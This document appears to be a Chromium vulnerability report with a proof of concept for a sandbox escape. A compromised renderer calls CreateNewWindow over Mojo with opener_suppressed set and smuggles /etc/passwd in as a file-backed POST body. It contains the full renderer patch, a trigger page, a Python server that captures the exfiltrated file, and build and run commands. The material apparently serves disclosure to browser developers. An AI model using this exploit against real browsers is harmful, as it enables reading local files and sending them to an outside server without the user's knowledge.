Sandbox Escape: Arbitrary Local File Read via Missing CanReadRequestBody Validation in CreateNewWindow’s opener_suppressed Path

// content/browser/web_contents/web_contents_impl.cc — WebContentsImpl::CreateNewWindow
if (params.form_submission_post_data) {
  load_params->load_type = NavigationController::LOAD_TYPE_HTTP_POST;
  load_params->post_data = params.form_submission_post_data;  // no validation
  load_params->post_content_type = params.form_submission_post_content_type;
}
...
contents_to_load->GetController().LoadURLWithParams(*load_params.get());

// content/browser/renderer_host/ipc_utils.cc — VerifyOpenURLParams
auto* policy = ChildProcessSecurityPolicyImpl::GetInstance();
if (!policy->CanReadRequestBody(process, params->post_body)) {
  bad_message::ReceivedBadMessage(process,
                                  bad_message::ILLEGAL_UPLOAD_PARAMS);
  return false;
}

// content/browser/loader/navigation_url_loader_impl.cc
params->process_id = network::OriginatingProcessId::browser();

// content/browser/network_context_client_base_impl.cc — HandleFileUploadRequest
if (process_id != network::mojom::kBrowserProcessId &&
    !cpsp->CanReadFile(ChildProcessId::FromUnsafeValue(process_id),
                       file_path)) {
  // deny
  return;
}
// If process_id == kBrowserProcessId (0), the check is skipped entirely
files.emplace_back(file_path, file_flags);

// content/browser/renderer_host/render_frame_host_impl.cc
bool effective_transient_activation_state =
    params->allow_popup || HasTransientUserActivation() ||
    (transient_allow_popup_.IsActive() &&
     params->disposition == WindowOpenDisposition::NEW_POPUP);

diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index dd17c9c1d3d17..4887300ab9b22 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -134,6 +134,8 @@
 #include "net/http/http_util.h"
 #include "services/metrics/public/cpp/ukm_source_id.h"
 #include "services/network/public/cpp/content_decoding_interceptor.h"
+#include "services/network/public/cpp/resource_request_body.h"
+#include "third_party/blink/public/common/dom_storage/session_storage_namespace_id.h"
 #include "services/network/public/cpp/features.h"
 #include "services/network/public/cpp/not_implemented_url_loader_factory.h"
 #include "services/network/public/cpp/weak_wrapper_shared_url_loader_factory.h"
@@ -4167,6 +4169,87 @@ void RenderFrameImpl::DidFinishLoad() {
                          frame_->IsOutermostMainFrame());
   }

+  // --- PoC: Direct Mojo IPC to CreateNewWindow ---
+  // A compromised renderer calls FrameHost::CreateNewWindow() directly,
+  // bypassing Blink's popup blocker entirely. The browser trusts
+  // allow_popup from the renderer and skips activation checks.
+  // No --disable-popup-blocking needed.
+  std::string url = frame_->GetDocument().Url().GetString().Utf8();
+  if (!frame_->Parent() && url.find("/trigger") != std::string::npos) {
+    LOG(ERROR) << "POC: Direct Mojo CreateNewWindow - no popup blocker, "
+               << "no user gesture needed";
+
+    auto params = mojom::CreateNewWindowParams::New();
+
+    // allow_popup=true bypasses browser-side popup blocker:
+    //   effective_transient_activation_state =
+    //       params->allow_popup || HasTransientUserActivation() || ...
+    // Browser trusts this field from renderer without verification.
+    params->allow_popup = true;
+    params->opener_suppressed = true;
+    params->is_form_submission = true;
+    params->target_url = GURL("http://127.0.0.1:9999/exfil");
+    params->disposition = WindowOpenDisposition::NEW_FOREGROUND_TAB;
+    params->form_submission_post_content_type = "application/octet-stream";
+    params->session_storage_namespace_id =
+        blink::AllocateSessionStorageNamespaceId();
+
+    // Required non-optional struct fields
+    params->referrer = blink::mojom::Referrer::New(
+        GURL(), network::mojom::ReferrerPolicy::kDefault);
+    params->features = blink::mojom::WindowFeatures::New();
+    // download_policy is a typemapped plain struct, default-initialized.
+
+    // === THE EXPLOIT ===
+    // Inject DataElementFile pointing to /etc/passwd.
+    // The opener_suppressed=true path navigates the new window directly
+    // from the browser process via LoadURLWithParams(), which does NOT
+    // call CanReadRequestBody(). The network service reads /etc/passwd
+    // and sends it as POST body to the attacker's server.
+    auto body = base::MakeRefCounted<network::ResourceRequestBody>();
+    body->AppendFileRange(
+        base::FilePath(FILE_PATH_LITERAL("/etc/passwd")),
+        0, 1048576, base::Time());
+    params->form_submission_post_data = std::move(body);
+
+    LOG(ERROR) << "POC: target=http://127.0.0.1:9999/exfil file=/etc/passwd";
+
+    // Create required Mojo endpoints for the new window
+    mojo::PendingAssociatedReceiver<mojom::Frame> frame_receiver;
+    params->frame_remote =
+        frame_receiver.InitWithNewEndpointAndPassRemote();
+    mojo::PendingAssociatedReceiver<blink::mojom::PageBroadcast>
+        page_broadcast_receiver;
+    params->page_broadcast_remote =
+        page_broadcast_receiver.InitWithNewEndpointAndPassRemote();
+    mojo::PendingRemote<blink::mojom::BrowserInterfaceBroker>
+        browser_interface_broker;
+    params->main_frame_interface_broker =
+        browser_interface_broker.InitWithNewPipeAndPassReceiver();
+    mojo::PendingAssociatedRemote<blink::mojom::AssociatedInterfaceProvider>
+        aip_remote;
+    params->associated_interface_provider =
+        aip_remote.InitWithNewEndpointAndPassReceiver();
+    mojo::PendingAssociatedRemote<blink::mojom::WidgetHost> wh_remote;
+    params->widget_host = wh_remote.InitWithNewEndpointAndPassReceiver();
+    mojo::PendingAssociatedReceiver<blink::mojom::Widget> w_receiver;
+    params->widget = w_receiver.InitWithNewEndpointAndPassRemote();
+    mojo::PendingAssociatedRemote<blink::mojom::FrameWidgetHost> fwh_remote;
+    params->frame_widget_host =
+        fwh_remote.InitWithNewEndpointAndPassReceiver();
+    mojo::PendingAssociatedReceiver<blink::mojom::FrameWidget> fw_receiver;
+    params->frame_widget = fw_receiver.InitWithNewEndpointAndPassRemote();
+
+    // Direct Mojo call - no Blink, no JS, no popup blocker
+    mojom::CreateNewWindowStatus status;
+    mojom::CreateNewWindowReplyPtr reply;
+    GetFrameHost()->CreateNewWindow(std::move(params), &status, &reply);
+    LOG(ERROR) << "POC: CreateNewWindow status="
+               << static_cast<int>(status)
+               << " (0=Blocked,1=Ignore,2=Reuse,3=Success)";
+  }
+  // --- End PoC ---
+
   for (auto& observer : observers_)
     observer.DidFinishLoad();
 }

<!DOCTYPE html>
<html>
<head><title>CreateNewWindow File Exfil PoC</title></head>
<body>
<h1>CreateNewWindow File Exfiltration PoC</h1>
<p>This page triggers the exploit via its URL path containing "/trigger".</p>
<p>The compromised renderer (patched render_frame_impl.cc) will:</p>
<ol>
  <li>Detect "/trigger" in the URL at DidFinishLoad()</li>
  <li>Call FrameHost::CreateNewWindow() directly via Mojo IPC</li>
  <li>Set allow_popup=true to bypass popup blocker (no user gesture needed)</li>
  <li>Set opener_suppressed=true to skip CanReadRequestBody() check</li>
  <li>Inject DataElementFile("/etc/passwd") as POST body</li>
  <li>Browser process reads /etc/passwd and POSTs it to 127.0.0.1:9999/exfil</li>
</ol>
<p>Check the poc_server.py terminal for exfiltrated file content.</p>
</body>
</html>

#!/usr/bin/env python3
"""
CreateNewWindow File Exfiltration - Receiving Server

Listens on port 9999. When Chrome's browser process navigates the new tab
to http://127.0.0.1:9999/exfil with the POST body containing /etc/passwd,
this server captures and displays the exfiltrated file content.
"""

from http.server import HTTPServer, BaseHTTPRequestHandler
import sys


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/" or self.path.endswith(".html"):
            try:
                with open("trigger.html", "rb") as f:
                    content = f.read()
                self.send_response(200)
                self.send_header("Content-Type", "text/html")
                self.send_header("Content-Length", str(len(content)))
                self.end_headers()
                self.wfile.write(content)
            except FileNotFoundError:
                self.send_response(404)
                self.end_headers()
        else:
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            self.wfile.write(b"ok")

    def do_POST(self):
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length) if content_length > 0 else b""

        sys.stderr.write(f"\n{'='*70}\n")
        sys.stderr.write(f"[EXFIL] POST {self.path}\n")
        sys.stderr.write(f"[EXFIL] Content-Length: {content_length}\n")
        sys.stderr.write(f"[EXFIL] Content-Type: {self.headers.get('Content-Type', 'N/A')}\n")
        sys.stderr.write(f"[EXFIL] Body ({len(body)} bytes):\n")
        sys.stderr.write(f"{'-'*70}\n")
        try:
            sys.stderr.write(body.decode("utf-8", errors="replace"))
            sys.stderr.write("\n")
        except Exception:
            sys.stderr.write(f"(binary data: {body[:200]}...)\n")
        sys.stderr.write(f"{'='*70}\n")
        sys.stderr.flush()

        if len(body) > 0 and b":" in body:
            sys.stderr.write("\n[!!!] SUCCESS: File content received!\n")
            sys.stderr.write("[!!!] The /etc/passwd content was exfiltrated via browser process!\n")
            with open("exfil_result.txt", "wb") as f:
                f.write(body)
            sys.stderr.write("[!!!] Saved to exfil_result.txt\n")
            sys.stderr.flush()

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"received")

    def log_message(self, format, *args):
        sys.stderr.write(f"[SERVER] {format % args}\n")
        sys.stderr.flush()


if __name__ == "__main__":
    port = 9999
    server = HTTPServer(("127.0.0.1", port), Handler)
    sys.stderr.write(f"[*] Exfil Server listening on http://127.0.0.1:{port}\n")
    sys.stderr.write(f"[*] Waiting for exfiltrated file content on POST /exfil ...\n")
    sys.stderr.flush()
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        sys.stderr.write("\n[*] Server stopped.\n")
        server.server_close()

# Build with the renderer patch applied
autoninja -C out/asan-release chrome

# Terminal 1: start the exfil server (serves both trigger.html and receives exfil)
cd <poc-directory>
python3 poc_server.py

# Terminal 2: launch Chrome (sandbox enabled, no --no-sandbox, no --disable-popup-blocking)
ASAN_OPTIONS=detect_odr_violation=0 xvfb-run -a out/asan-release/chrome \
  --disable-gpu \
  --user-data-dir=/tmp/poc-$(date +%s) \
  --enable-logging=stderr \
  http://127.0.0.1:9999/trigger.html